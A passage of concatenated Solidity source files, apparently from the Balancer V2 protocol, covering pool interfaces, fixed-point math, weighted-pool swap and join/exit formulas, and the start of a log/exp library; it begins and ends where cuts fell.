removing liquidity that all Pool contracts should implement. Note that this is not * the complete Pool contract interface, as it is missing the swap hooks. Pool contracts should also inherit from * either IGeneralPool or IMinimalSwapInfoPool */ interface IBasePool is IPoolSwapStructs { /** * @dev Called by the Vault when a user calls `IVault.joinPool` to add liquidity to this Pool. Returns how many of * each registered token the user should provide, as well as the amount of protocol fees the Pool owes to the Vault. * The Vault will then take tokens from `sender` and add them to the Pool's balances, as well as collect * the reported amount in protocol fees, which the pool should calculate based on `protocolSwapFeePercentage`. * * Protocol fees are reported and charged on join events so that the Pool is free of debt whenever new users join. * * `sender` is the account performing the join (from which tokens will be withdrawn), and `recipient` is the account * designated to receive any benefits (typically pool shares). `currentBalances` contains the total balances * for each token the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return. * * `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total * balance. * * `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of * join (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.) * * Contracts implementing this function should check that the caller is indeed the Vault before performing any * state-changing operations, such as minting pool shares. */ function onJoinPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts); /** * @dev Called by the Vault when a user calls `IVault.exitPool` to remove liquidity from this Pool. Returns how many * tokens the Vault should deduct from the Pool's balances, as well as the amount of protocol fees the Pool owes * to the Vault. The Vault will then take tokens from the Pool's balances and send them to `recipient`, * as well as collect the reported amount in protocol fees, which the Pool should calculate based on * `protocolSwapFeePercentage`. * * Protocol fees are charged on exit events to guarantee that users exiting the Pool have paid their share. * * `sender` is the account performing the exit (typically the pool shareholder), and `recipient` is the account * to which the Vault will send the proceeds. `currentBalances` contains the total token balances for each token * the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return. * * `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total * balance. * * `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of * exit (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.) * * Contracts implementing this function should check that the caller is indeed the Vault before performing any * state-changing operations, such as burning pool shares. */ function onExitPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "../../lib/openzeppelin/IERC20.sol"; import "./IVault.sol"; interface IPoolSwapStructs { // This is not really an interface - it just defines common structs used by other interfaces: IGeneralPool and // IMinimalSwapInfoPool. // // This data structure represents a request for a token swap, where `kind` indicates the swap type ('given in' or // 'given out') which indicates whether or not the amount sent by the pool is known. // // The pool receives `tokenIn` and sends `tokenOut`. `amount` is the number of `tokenIn` tokens the pool will take // in, or the number of `tokenOut` tokens the Pool will send out, depending on the given swap `kind`. // // All other fields are not strictly necessary for most swaps, but are provided to support advanced scenarios in // some Pools. // // `poolId` is the ID of the Pool involved in the swap - this is useful for Pool contracts that implement more than // one Pool. // // The meaning of `lastChangeBlock` depends on the Pool specialization: // - Two Token or Minimal Swap Info: the last block in which either `tokenIn` or `tokenOut` changed its total // balance. // - General: the last block in which *any* of the Pool's registered tokens changed its total balance. // // `from` is the origin address for the funds the Pool receives, and `to` is the destination address // where the Pool sends the outgoing tokens. // // `userData` is extra data provided by the caller - typically a signature from a trusted party. struct SwapRequest { IVault.SwapKind kind; IERC20 tokenIn; IERC20 tokenOut; uint256 amount; // Misc data bytes32 poolId; uint256 lastChangeBlock; address from; address to; bytes userData; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "./LogExpMath.sol"; import "../helpers/BalancerErrors.sol"; /* solhint-disable private-vars-leading-underscore */ library FixedPoint { uint256 internal constant ONE = 1e18; // 18 decimal places uint256 internal constant MAX_POW_RELATIVE_ERROR = 10000; // 10^(-14) // Minimum base for the power function when the exponent is 'free' (larger than ONE). uint256 internal constant MIN_POW_BASE_FREE_EXPONENT = 0.7e18; function add(uint256 a, uint256 b) internal pure returns (uint256) { // Fixed Point addition is the same as regular checked addition uint256 c = a + b; _require(c >= a, Errors.ADD_OVERFLOW); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { // Fixed Point addition is the same as regular checked addition _require(b <= a, Errors.SUB_OVERFLOW); uint256 c = a - b; return c; } function mulDown(uint256 a, uint256 b) internal pure returns (uint256) { uint256 product = a * b; _require(a == 0 || product / a == b, Errors.MUL_OVERFLOW); return product / ONE; } function mulUp(uint256 a, uint256 b) internal pure returns (uint256) { uint256 product = a * b; _require(a == 0 || product / a == b, Errors.MUL_OVERFLOW); if (product == 0) { return 0; } else { // The traditional divUp formula is: // divUp(x, y) := (x + y - 1) / y // To avoid intermediate overflow in the addition, we distribute the division and get: // divUp(x, y) := (x - 1) / y + 1 // Note that this requires x != 0, which we already tested for. return ((product - 1) / ONE) + 1; } } function divDown(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); if (a == 0) { return 0; } else { uint256 aInflated = a * ONE; _require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow return aInflated / b; } } function divUp(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); if (a == 0) { return 0; } else { uint256 aInflated = a * ONE; _require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow // The traditional divUp formula is: // divUp(x, y) := (x + y - 1) / y // To avoid intermediate overflow in the addition, we distribute the division and get: // divUp(x, y) := (x - 1) / y + 1 // Note that this requires x != 0, which we already tested for. return ((aInflated - 1) / b) + 1; } } /** * @dev Returns x^y, assuming both are fixed point numbers, rounding down. The result is guaranteed to not be above * the true value (that is, the error function expected - actual is always positive). */ function powDown(uint256 x, uint256 y) internal pure returns (uint256) { uint256 raw = LogExpMath.pow(x, y); uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1); if (raw < maxError) { return 0; } else { return sub(raw, maxError); } } /** * @dev Returns x^y, assuming both are fixed point numbers, rounding up. The result is guaranteed to not be below * the true value (that is, the error function expected - actual is always negative). */ function powUp(uint256 x, uint256 y) internal pure returns (uint256) { uint256 raw = LogExpMath.pow(x, y); uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1); return add(raw, maxError); } /** * @dev Returns the complement of a value (1 - x), capped to 0 if x is larger than 1. * * Useful when computing the complement for values with some level of relative error, as it strips this error and * prevents intermediate negative values. */ function complement(uint256 x) internal pure returns (uint256) { return (x < ONE) ? (ONE - x) : 0; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "./BasePool.sol"; import "../vault/interfaces/IMinimalSwapInfoPool.sol"; /** * @dev Extension of `BasePool`, adding a handler for `IMinimalSwapInfoPool.onSwap`. * * Derived contracts must implement `_onSwapGivenIn` and `_onSwapGivenOut` along with `BasePool`'s virtual functions. */ abstract contract BaseMinimalSwapInfoPool is IMinimalSwapInfoPool, BasePool { constructor( IVault vault, string memory name, string memory symbol, IERC20[] memory tokens, uint256 swapFeePercentage, uint256 pauseWindowDuration, uint256 bufferPeriodDuration, address owner ) BasePool( vault, tokens.length == 2 ? IVault.PoolSpecialization.TWO_TOKEN : IVault.PoolSpecialization.MINIMAL_SWAP_INFO, name, symbol, tokens, swapFeePercentage, pauseWindowDuration, bufferPeriodDuration, owner ) { // solhint-disable-previous-line no-empty-blocks } // Swap Hooks function onSwap( SwapRequest memory request, uint256 balanceTokenIn, uint256 balanceTokenOut ) external view virtual override returns (uint256) { uint256 scalingFactorTokenIn = _scalingFactor(request.tokenIn); uint256 scalingFactorTokenOut = _scalingFactor(request.tokenOut); if (request.kind == IVault.SwapKind.GIVEN_IN) { // Fees are subtracted before scaling, to reduce the complexity of the rounding direction analysis. request.amount = _subtractSwapFeeAmount(request.amount); // All token amounts are upscaled. balanceTokenIn = _upscale(balanceTokenIn, scalingFactorTokenIn); balanceTokenOut = _upscale(balanceTokenOut, scalingFactorTokenOut); request.amount = _upscale(request.amount, scalingFactorTokenIn); uint256 amountOut = _onSwapGivenIn(request, balanceTokenIn, balanceTokenOut); // amountOut tokens are exiting the Pool, so we round down. return _downscaleDown(amountOut, scalingFactorTokenOut); } else { // All token amounts are upscaled. balanceTokenIn = _upscale(balanceTokenIn, scalingFactorTokenIn); balanceTokenOut = _upscale(balanceTokenOut, scalingFactorTokenOut); request.amount = _upscale(request.amount, scalingFactorTokenOut); uint256 amountIn = _onSwapGivenOut(request, balanceTokenIn, balanceTokenOut); // amountIn tokens are entering the Pool, so we round up. amountIn = _downscaleUp(amountIn, scalingFactorTokenIn); // Fees are added after scaling happens, to reduce the complexity of the rounding direction analysis. return _addSwapFeeAmount(amountIn); } } /* * @dev Called when a swap with the Pool occurs, where the amount of tokens entering the Pool is known. * * Returns the amount of tokens that will be taken from the Pool in return. * * All amounts inside `swapRequest`, `balanceTokenIn` and `balanceTokenOut` are upscaled. The swap fee has already * been deducted from `swapRequest.amount`. * * The return value is also considered upscaled, and will be downscaled (rounding down) before returning it to the * Vault. */ function _onSwapGivenIn( SwapRequest memory swapRequest, uint256 balanceTokenIn, uint256 balanceTokenOut ) internal view virtual returns (uint256); /* * @dev Called when a swap with the Pool occurs, where the amount of tokens exiting the Pool is known. * * Returns the amount of tokens that will be granted to the Pool in return. * * All amounts inside `swapRequest`, `balanceTokenIn` and `balanceTokenOut` are upscaled. * * The return value is also considered upscaled, and will be downscaled (rounding up) before applying the swap fee * and returning it to the Vault. */ function _onSwapGivenOut( SwapRequest memory swapRequest, uint256 balanceTokenIn, uint256 balanceTokenOut ) internal view virtual returns (uint256); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "../../lib/math/FixedPoint.sol"; import "../../lib/math/Math.sol"; import "../../lib/helpers/InputHelpers.sol"; /* solhint-disable private-vars-leading-underscore */ contract WeightedMath { using FixedPoint for uint256; // A minimum normalized weight imposes a maximum weight ratio. We need this due to limitations in the // implementation of the power function, as these ratios are often exponents. uint256 internal constant _MIN_WEIGHT = 0.01e18; // Having a minimum normalized weight imposes a limit on the maximum number of tokens; // i.e., the largest possible pool is one where all tokens have exactly the minimum weight. uint256 internal constant _MAX_WEIGHTED_TOKENS = 100; // Pool limits that arise from limitations in the fixed point power function (and the imposed 1:100 maximum weight // ratio). // Swap limits: amounts swapped may not be larger than this percentage of total balance. uint256 internal constant _MAX_IN_RATIO = 0.3e18; uint256 internal constant _MAX_OUT_RATIO = 0.3e18; // Invariant growth limit: non-proportional joins cannot cause the invariant to increase by more than this ratio. uint256 internal constant _MAX_INVARIANT_RATIO = 3e18; // Invariant shrink limit: non-proportional exits cannot cause the invariant to decrease by less than this ratio. uint256 internal constant _MIN_INVARIANT_RATIO = 0.7e18; // Invariant is used to collect protocol swap fees by comparing its value between two times. // So we can round always to the same direction. It is also used to initiate the BPT amount // and, because there is a minimum BPT, we round down the invariant. function _calculateInvariant(uint256[] memory normalizedWeights, uint256[] memory balances) internal pure returns (uint256 invariant) { /********************************************************************************************** // invariant _____ // // wi = weight index i | | wi // // bi = balance index i | | bi ^ = i // // i = invariant // **********************************************************************************************/ invariant = FixedPoint.ONE; for (uint256 i = 0; i < normalizedWeights.length; i++) { invariant = invariant.mulDown(balances[i].powDown(normalizedWeights[i])); } _require(invariant > 0, Errors.ZERO_INVARIANT); } // Computes how many tokens can be taken out of a pool if `amountIn` are sent, given the // current balances and weights. function _calcOutGivenIn( uint256 balanceIn, uint256 weightIn, uint256 balanceOut, uint256 weightOut, uint256 amountIn ) internal pure returns (uint256) { /********************************************************************************************** // outGivenIn // // aO = amountOut // // bO = balanceOut // // bI = balanceIn / / bI \ (wI / wO) \ // // aI = amountIn aO = bO * | 1 - | -------------------------- | ^ | // // wI = weightIn \ \ ( bI + aI ) / / // // wO = weightOut // **********************************************************************************************/ // Amount out, so we round down overall. // The multiplication rounds down, and the subtrahend (power) rounds up (so the base rounds up too). // Because bI / (bI + aI) <= 1, the exponent rounds down. // Cannot exceed maximum in ratio _require(amountIn <= balanceIn.mulDown(_MAX_IN_RATIO), Errors.MAX_IN_RATIO); uint256 denominator = balanceIn.add(amountIn); uint256 base = balanceIn.divUp(denominator); uint256 exponent = weightIn.divDown(weightOut); uint256 power = base.powUp(exponent); return balanceOut.mulDown(power.complement()); } // Computes how many tokens must be sent to a pool in order to take `amountOut`, given the // current balances and weights. function _calcInGivenOut( uint256 balanceIn, uint256 weightIn, uint256 balanceOut, uint256 weightOut, uint256 amountOut ) internal pure returns (uint256) { /********************************************************************************************** // inGivenOut // // aO = amountOut // // bO = balanceOut // // bI = balanceIn / / bO \ (wO / wI) \ // // aI = amountIn aI = bI * | | -------------------------- | ^ - 1 | // // wI = weightIn \ \ ( bO - aO ) / / // // wO = weightOut // **********************************************************************************************/ // Amount in, so we round up overall. // The multiplication rounds up, and the power rounds up (so the base rounds up too). // Because b0 / (b0 - a0) >= 1, the exponent rounds up. // Cannot exceed maximum out ratio _require(amountOut <= balanceOut.mulDown(_MAX_OUT_RATIO), Errors.MAX_OUT_RATIO); uint256 base = balanceOut.divUp(balanceOut.sub(amountOut)); uint256 exponent = weightOut.divUp(weightIn); uint256 power = base.powUp(exponent); // Because the base is larger than one (and the power rounds up), the power should always be larger than one, so // the following subtraction should never revert. uint256 ratio = power.sub(FixedPoint.ONE); return balanceIn.mulUp(ratio); } function _calcBptOutGivenExactTokensIn( uint256[] memory balances, uint256[] memory normalizedWeights, uint256[] memory amountsIn, uint256 bptTotalSupply, uint256 swapFee ) internal pure returns (uint256) { // BPT out, so we round down overall. uint256[] memory balanceRatiosWithFee = new uint256[](amountsIn.length); uint256 invariantRatioWithFees = 0; for (uint256 i = 0; i < balances.length; i++) { balanceRatiosWithFee[i] = balances[i].add(amountsIn[i]).divDown(balances[i]); invariantRatioWithFees = invariantRatioWithFees.add(balanceRatiosWithFee[i].mulDown(normalizedWeights[i])); } uint256 invariantRatio = FixedPoint.ONE; for (uint256 i = 0; i < balances.length; i++) { uint256 amountInWithoutFee; if (balanceRatiosWithFee[i] > invariantRatioWithFees) { uint256 nonTaxableAmount = balances[i].mulDown(invariantRatioWithFees.sub(FixedPoint.ONE)); uint256 taxableAmount = amountsIn[i].sub(nonTaxableAmount); amountInWithoutFee = nonTaxableAmount.add(taxableAmount.mulDown(FixedPoint.ONE.sub(swapFee))); } else { amountInWithoutFee = amountsIn[i]; } uint256 balanceRatio = balances[i].add(amountInWithoutFee).divDown(balances[i]); invariantRatio = invariantRatio.mulDown(balanceRatio.powDown(normalizedWeights[i])); } if (invariantRatio >= FixedPoint.ONE) { return bptTotalSupply.mulDown(invariantRatio.sub(FixedPoint.ONE)); } else { return 0; } } function _calcTokenInGivenExactBptOut( uint256 balance, uint256 normalizedWeight, uint256 bptAmountOut, uint256 bptTotalSupply, uint256 swapFee ) internal pure returns (uint256) { /****************************************************************************************** // tokenInForExactBPTOut // // a = amountIn // // b = balance / / totalBPT + bptOut \ (1 / w) \ // // bptOut = bptAmountOut a = b * | | -------------------------- | ^ - 1 | // // bpt = totalBPT \ \ totalBPT / / // // w = weight // ******************************************************************************************/ // Token in, so we round up overall. // Calculate the factor by which the invariant will increase after minting BPTAmountOut uint256 invariantRatio = bptTotalSupply.add(bptAmountOut).divUp(bptTotalSupply); _require(invariantRatio <= _MAX_INVARIANT_RATIO, Errors.MAX_OUT_BPT_FOR_TOKEN_IN); // Calculate by how much the token balance has to increase to match the invariantRatio uint256 balanceRatio = invariantRatio.powUp(FixedPoint.ONE.divUp(normalizedWeight)); uint256 amountInWithoutFee = balance.mulUp(balanceRatio.sub(FixedPoint.ONE)); // We can now compute how much extra balance is being deposited and used in virtual swaps, and charge swap fees // accordingly. uint256 taxablePercentage = normalizedWeight.complement(); uint256 taxableAmount = amountInWithoutFee.mulUp(taxablePercentage); uint256 nonTaxableAmount = amountInWithoutFee.sub(taxableAmount); return nonTaxableAmount.add(taxableAmount.divUp(swapFee.complement())); } function _calcBptInGivenExactTokensOut( uint256[] memory balances, uint256[] memory normalizedWeights, uint256[] memory amountsOut, uint256 bptTotalSupply, uint256 swapFee ) internal pure returns (uint256) { // BPT in, so we round up overall. uint256[] memory balanceRatiosWithoutFee = new uint256[](amountsOut.length); uint256 invariantRatioWithoutFees = 0; for (uint256 i = 0; i < balances.length; i++) { balanceRatiosWithoutFee[i] = balances[i].sub(amountsOut[i]).divUp(balances[i]); invariantRatioWithoutFees = invariantRatioWithoutFees.add( balanceRatiosWithoutFee[i].mulUp(normalizedWeights[i]) ); } uint256 invariantRatio = FixedPoint.ONE; for (uint256 i = 0; i < balances.length; i++) { // Swap fees are typically charged on 'token in', but there is no 'token in' here, // o we apply it to 'token out'. // This results in slightly larger price impact. uint256 amountOutWithFee; if (invariantRatioWithoutFees > balanceRatiosWithoutFee[i]) { uint256 nonTaxableAmount = balances[i].mulDown(invariantRatioWithoutFees.complement()); uint256 taxableAmount = amountsOut[i].sub(nonTaxableAmount); amountOutWithFee = nonTaxableAmount.add(taxableAmount.divUp(swapFee.complement())); } else { amountOutWithFee = amountsOut[i]; } uint256 balanceRatio = balances[i].sub(amountOutWithFee).divDown(balances[i]); invariantRatio = invariantRatio.mulDown(balanceRatio.powDown(normalizedWeights[i])); } return bptTotalSupply.mulUp(invariantRatio.complement()); } function _calcTokenOutGivenExactBptIn( uint256 balance, uint256 normalizedWeight, uint256 bptAmountIn, uint256 bptTotalSupply, uint256 swapFee ) internal pure returns (uint256) { /***************************************************************************************** // exactBPTInForTokenOut // // a = amountOut // // b = balance / / totalBPT - bptIn \ (1 / w) \ // // bptIn = bptAmountIn a = b * | 1 - | -------------------------- | ^ | // // bpt = totalBPT \ \ totalBPT / / // // w = weight // *****************************************************************************************/ // Token out, so we round down overall. The multiplication rounds down, but the power rounds up (so the base // rounds up). Because (totalBPT - bptIn) / totalBPT <= 1, the exponent rounds down. // Calculate the factor by which the invariant will decrease after burning BPTAmountIn uint256 invariantRatio = bptTotalSupply.sub(bptAmountIn).divUp(bptTotalSupply); _require(invariantRatio >= _MIN_INVARIANT_RATIO, Errors.MIN_BPT_IN_FOR_TOKEN_OUT); // Calculate by how much the token balance has to decrease to match invariantRatio uint256 balanceRatio = invariantRatio.powUp(FixedPoint.ONE.divDown(normalizedWeight)); // Because of rounding up, balanceRatio can be greater than one. Using complement prevents reverts. uint256 amountOutWithoutFee = balance.mulDown(balanceRatio.complement()); // We can now compute how much excess balance is being withdrawn as a result of the virtual swaps, which result // in swap fees. uint256 taxablePercentage = normalizedWeight.complement(); // Swap fees are typically charged on 'token in', but there is no 'token in' here, so we apply it // to 'token out'. This results in slightly larger price impact. Fees are rounded up. uint256 taxableAmount = amountOutWithoutFee.mulUp(taxablePercentage); uint256 nonTaxableAmount = amountOutWithoutFee.sub(taxableAmount); return nonTaxableAmount.add(taxableAmount.mulDown(swapFee.complement())); } function _calcTokensOutGivenExactBptIn( uint256[] memory balances, uint256 bptAmountIn, uint256 totalBPT ) internal pure returns (uint256[] memory) { /********************************************************************************************** // exactBPTInForTokensOut // // (per token) // // aO = amountOut / bptIn \ // // b = balance a0 = b * | --------------------- | // // bptIn = bptAmountIn \ totalBPT / // // bpt = totalBPT // **********************************************************************************************/ // Since we're computing an amount out, we round down overall. This means rounding down on both the // multiplication and division. uint256 bptRatio = bptAmountIn.divDown(totalBPT); uint256[] memory amountsOut = new uint256[](balances.length); for (uint256 i = 0; i < balances.length; i++) { amountsOut[i] = balances[i].mulDown(bptRatio); } return amountsOut; } function _calcDueTokenProtocolSwapFeeAmount( uint256 balance, uint256 normalizedWeight, uint256 previousInvariant, uint256 currentInvariant, uint256 protocolSwapFeePercentage ) internal pure returns (uint256) { /********************************************************************************* /* protocolSwapFeePercentage * balanceToken * ( 1 - (previousInvariant / currentInvariant) ^ (1 / weightToken)) *********************************************************************************/ if (currentInvariant <= previousInvariant) { // This shouldn't happen outside of rounding errors, but have this safeguard nonetheless to prevent the Pool // from entering a locked state in which joins and exits revert while computing accumulated swap fees. return 0; } // We round down to prevent issues in the Pool's accounting, even if it means paying slightly less in protocol // fees to the Vault. // Fee percentage and balance multiplications round down, while the subtrahend (power) rounds up (as does the // base). Because previousInvariant / currentInvariant <= 1, the exponent rounds down. uint256 base = previousInvariant.divUp(currentInvariant); uint256 exponent = FixedPoint.ONE.divDown(normalizedWeight); // Because the exponent is larger than one, the base of the power function has a lower bound. We cap to this // value to avoid numeric issues, which means in the extreme case (where the invariant growth is larger than // 1 / min exponent) the Pool will pay less in protocol fees than it should. base = Math.max(base, FixedPoint.MIN_POW_BASE_FREE_EXPONENT); uint256 power = base.powUp(exponent); uint256 tokenAccruedFees = balance.mulDown(power.complement()); return tokenAccruedFees.mulDown(protocolSwapFeePercentage); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "../../lib/openzeppelin/IERC20.sol"; import "./WeightedPool.sol"; library WeightedPoolUserDataHelpers { function joinKind(bytes memory self) internal pure returns (WeightedPool.JoinKind) { return abi.decode(self, (WeightedPool.JoinKind)); } function exitKind(bytes memory self) internal pure returns (WeightedPool.ExitKind) { return abi.decode(self, (WeightedPool.ExitKind)); } // Joins function initialAmountsIn(bytes memory self) internal pure returns (uint256[] memory amountsIn) { (, amountsIn) = abi.decode(self, (WeightedPool.JoinKind, uint256[])); } function exactTokensInForBptOut(bytes memory self) internal pure returns (uint256[] memory amountsIn, uint256 minBPTAmountOut) { (, amountsIn, minBPTAmountOut) = abi.decode(self, (WeightedPool.JoinKind, uint256[], uint256)); } function tokenInForExactBptOut(bytes memory self) internal pure returns (uint256 bptAmountOut, uint256 tokenIndex) { (, bptAmountOut, tokenIndex) = abi.decode(self, (WeightedPool.JoinKind, uint256, uint256)); } // Exits function exactBptInForTokenOut(bytes memory self) internal pure returns (uint256 bptAmountIn, uint256 tokenIndex) { (, bptAmountIn, tokenIndex) = abi.decode(self, (WeightedPool.ExitKind, uint256, uint256)); } function exactBptInForTokensOut(bytes memory self) internal pure returns (uint256 bptAmountIn) { (, bptAmountIn) = abi.decode(self, (WeightedPool.ExitKind, uint256)); } function bptInForExactTokensOut(bytes memory self) internal pure returns (uint256[] memory amountsOut, uint256 maxBPTAmountIn) { (, amountsOut, maxBPTAmountIn) = abi.decode(self, (WeightedPool.ExitKind, uint256[], uint256)); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General internal License for more details. // You should have received a copy of the GNU General internal License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; /* solhint-disable */ /** * @dev Exponentiation and logarithm functions for 18 decimal fixed point numbers (both base and exponent/argument). * * Exponentiation and logarithm with arbitrary bases (x^y and log_x(y)) are implemented by conversion to natural * exponentiation and logarithm (where the base is Euler's number). * * @author Fernando Martinelli - @fernandomartinelli * @author Sergio Yuhjtman - @sergioyuhjtman * @author Daniel Fernandez - @dmf7z */ library LogExpMath { // All fixed point multiplications and divisions are inlined. This means we need to divide by ONE when multiplying // two numbers, and multiply by ONE when dividing them. // All arguments and return values are 18 decimal fixed point numbers. int256 constant ONE_18 = 1e18; // Internally, intermediate values are computed with higher precision as 20 decimal fixed point numbers, and in the // case of ln36, 36 decimals. int256 constant ONE_20 = 1e20; int256 constant ONE_36 = 1e36; // The domain of natural exponentiation is bound by the word size and number of decimals used. // // Because internally the result will be stored using 20 decimals, the largest possible result is // (2^255 - 1) / 10^20, which makes the largest exponent ln((2^255 - 1) / 10^20) = 130.700829182905140221. // The smallest possible result is 10^(-18), which makes largest negative argument // ln(10^(-18)) = -41.446531673892822312. // We use 130.0 and -41.0 to have some safety margin. int256 constant MAX_NATURAL_EXPONENT = 130e18; int256 constant MIN_NATURAL_EXPONENT = -41e18; // Bounds for ln_36's argument. Both ln(0.9) and ln(1.1) can be represented with 36 decimal places in a fixed point // 256 bit integer. int256 constant LN_36_LOWER_BOUND = ONE_18 - 1e17; int256 constant LN_36_UPPER_BOUND = ONE_18 + 1e17; uint256 constant MILD_EXPONENT_BOUND = 2**254 / uint256(ONE_20); // 18 decimal constants int256 constant x0 = 128000000000000000000; // 2ˆ7 int256 constant a0 = 38877084059945950922200000000000000000000000000000000000; // eˆ(x0) (no decimals) int256 constant x1 = 64000000000000000000; // 2ˆ6 int256 constant a1 = 6235149080811616882910000000; // eˆ(x1) (no decimals) // 20 decimal constants int256 constant x2 = 3200000000000000000000; // 2ˆ5 int256 constant a2 = 7896296018268069516100000000000000; // eˆ(x2) int256 constant x3 = 1600000000000000000000; // 2ˆ4 int256 constant a3 = 888611052050787263676000000; // eˆ(x3) int256 constant x4 = 800000000000000000000; // 2ˆ3 int256 constant a4 = 298095798704172827474000; // eˆ(x4) int256 constant x5 = 400000000000000000000; // 2ˆ2 int256 constant a5 = 5459815003314423907810; // eˆ(x5) int256 constant x6 = 200000000000000000000; // 2ˆ1 int256 constant a6 = 738905609893065022723; // eˆ(x6) int256 constant x7 = 100000000000000000000; // 2ˆ0 int256 constant a7 = 271828182845904523536; // eˆ(x7) int256 constant x8 = 50000000000000000000; // 2ˆ-1 int256 constant a8 = 164872127070012814685; // eˆ(x8) int256 constant x9 = 25000000000000000000; // 2ˆ-2 int256 constant a9 = 128402541668774148407; // eˆ(x9) int256 constant x10 = 12500000000000000000; // 2ˆ-3 int256 constant a10 = 113314845306682631683; // eˆ(x10) int256 constant x11 = 6250000000000000000; // 2ˆ-4 int256 constant a11 = 106449445891785942956; // eˆ(x11) /** * @dev Exponentiation (x^y) with unsigned 18 decimal fixed point base and exponent. * * Reverts if ln(x) * y is smaller than `MIN_NATURAL_EXPONENT`, or larger than `MAX_NATURAL_EXPONENT`. */ function pow(uint256 x, uint256 y) internal pure returns (uint256) { if (y == 0) { // We solve the 0^0 indetermination by making it equal one. return uint256(ONE_18); } if (x == 0) { return 0; } // Instead of computing x^y directly, we instead rely on the properties of logarithms and exponentiation to // arrive at that result. In particular, exp(ln(x)) = x, and ln(x^y) = y * ln(x). This means // x^y = exp(y * ln(x)). // The ln function takes a signed value, so we need to make sure x fits in the signed 256 bit range. _require(x < 2**255, Errors.X_OUT_OF_BOUNDS); int256 x_int256 = int256(x); // We will compute y * ln(x) in a single step. Depending on the value of x, we can either use ln or ln_36. In // both cases, we leave the division by ONE_18 (due to fixed point multiplication) to the end. // This prevents y * ln(x) from overflowing, and at the same time guarantees y fits in the signed 256 bit range. _require(y < MILD_EXPONENT_BOUND, Errors.Y_OUT_OF_BOUNDS); int256 y_int256 = int256(y); int256 logx_times_y; if (LN_36_LOWER_BOUND < x_int256 && x_int256 < LN_36_UPPER_BOUND) { int256 ln_36_x = ln_36(x_int256); // ln_36_x has 36 decimal places, so multiplying by y_int256 isn't as straightforward, since we can't just // bring y_int256 to 36 decimal places, as it might overflow. Instead, we perform two 18 decimal // multiplications and add the results: one with the first 18 decimals of ln_36_x, and one with the // (downscaled) last 18 decimals. logx_times_y = ((ln_36_x / ONE_18) * y_int256 + ((ln_36_x % ONE_18) * y_int256) / ONE_18); } else { logx_times_y = ln(x_int256) * y_int256; } logx_times_y /= ONE_18; // Finally, we compute exp(y * ln(x)) to arrive at x^y _require( 